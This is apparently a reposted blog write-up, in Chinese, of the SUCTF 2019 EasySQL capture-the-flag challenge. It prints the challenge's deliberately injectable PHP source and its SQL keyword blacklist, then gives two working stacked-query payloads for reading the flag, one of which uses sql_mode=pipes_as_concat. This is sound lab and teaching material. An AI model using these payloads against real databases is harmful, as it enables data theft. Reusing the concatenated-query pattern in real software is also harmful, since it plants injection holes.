zoukankan      html  css  js  c++  java
  • [SUCTF 2019]EasySQL 思路

    一段话,一个文本框,一个命令按钮

    简单手工注入一下,发现有回显  一个array    一个nonono  还有个空

    看大佬wp,发现有源码

    <?php
        session_start();
    
        include_once "config.php";
    
        $post = array();
        $get = array();
        global $MysqlLink;
    
        //GetPara();
        $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
        if(!$MysqlLink){
            die("Mysql Connect Error!");
        }
        $selectDB = mysqli_select_db($MysqlLink,$dataName);
        if(!$selectDB){
            die("Choose Database Error!");
        }
    
        foreach ($_POST as $k=>$v){
            if(!empty($v)&&is_string($v)){
                $post[$k] = trim(addslashes($v));
            }
        }
        foreach ($_GET as $k=>$v){
            }
        }
        //die();
        ?>
    
    <html>
    <head>
    </head>
    
    <body>
    
    <a> Give me your flag, I will tell you if the flag is right. </ a>
    <form action="" method="post">
    <input type="text" name="query">
    <input type="submit">
    </form>
    </body>
    </html>
    
    <?php
    
        if(isset($post['query'])){
            $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"";
            //var_dump(preg_match("/{$BlackList}/is",$post['query']));
            if(preg_match("/{$BlackList}/is",$post['query'])){
                //echo $post['query'];
                die("Nonono.");
            }
            if(strlen($post['query'])>40){
                die("Too long.");
            }
            $sql = "select ".$post['query']."||flag from Flag";
            mysqli_multi_query($MysqlLink,$sql);
            do{
                if($res = mysqli_store_result($MysqlLink)){
                    while($row = mysqli_fetch_row($res)){
                        print_r($row);
                    }
                }
            }while(@mysqli_next_result($MysqlLink));
    
        }
    
        ?>

    看源码,post接受参数,query接受参数。就是文本框输入的东西,都会给query

    阅读源码,我们可以发现过滤了一些关键字。并且给query值的参数长度不能超过40.否则要报错

    我们看到了

     $sql = "select ".$post['query']."||flag from Flag";

    当我们给query的值为*,1时,也可以查看flag此时我们的语句就变成了select *,1||flag from Flag

    这是第一种非官方的解法

    还有一种官方给出的正解:1;set sql_mode=pipes_as_concat;select 1

    这里补充下sql_mode的知识点:是一组mysql支持的基本语法及校验规则

    PIPEC_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似;

    参考:https://www.jianshu.com/p/5644f7c39c68
  • 相关阅读:
    正则表达式
    cookie和session的区别(转载)
    Http协议
    10倍工程师
    10倍工程师
    HTML介绍
    HTML介绍
    网络基础之网络协议篇
    网络基础之网络协议篇
    计算机中的进制和编码
  • 原文地址:https://www.cnblogs.com/junlebao/p/13708399.html
Copyright © 2011-2022 走看看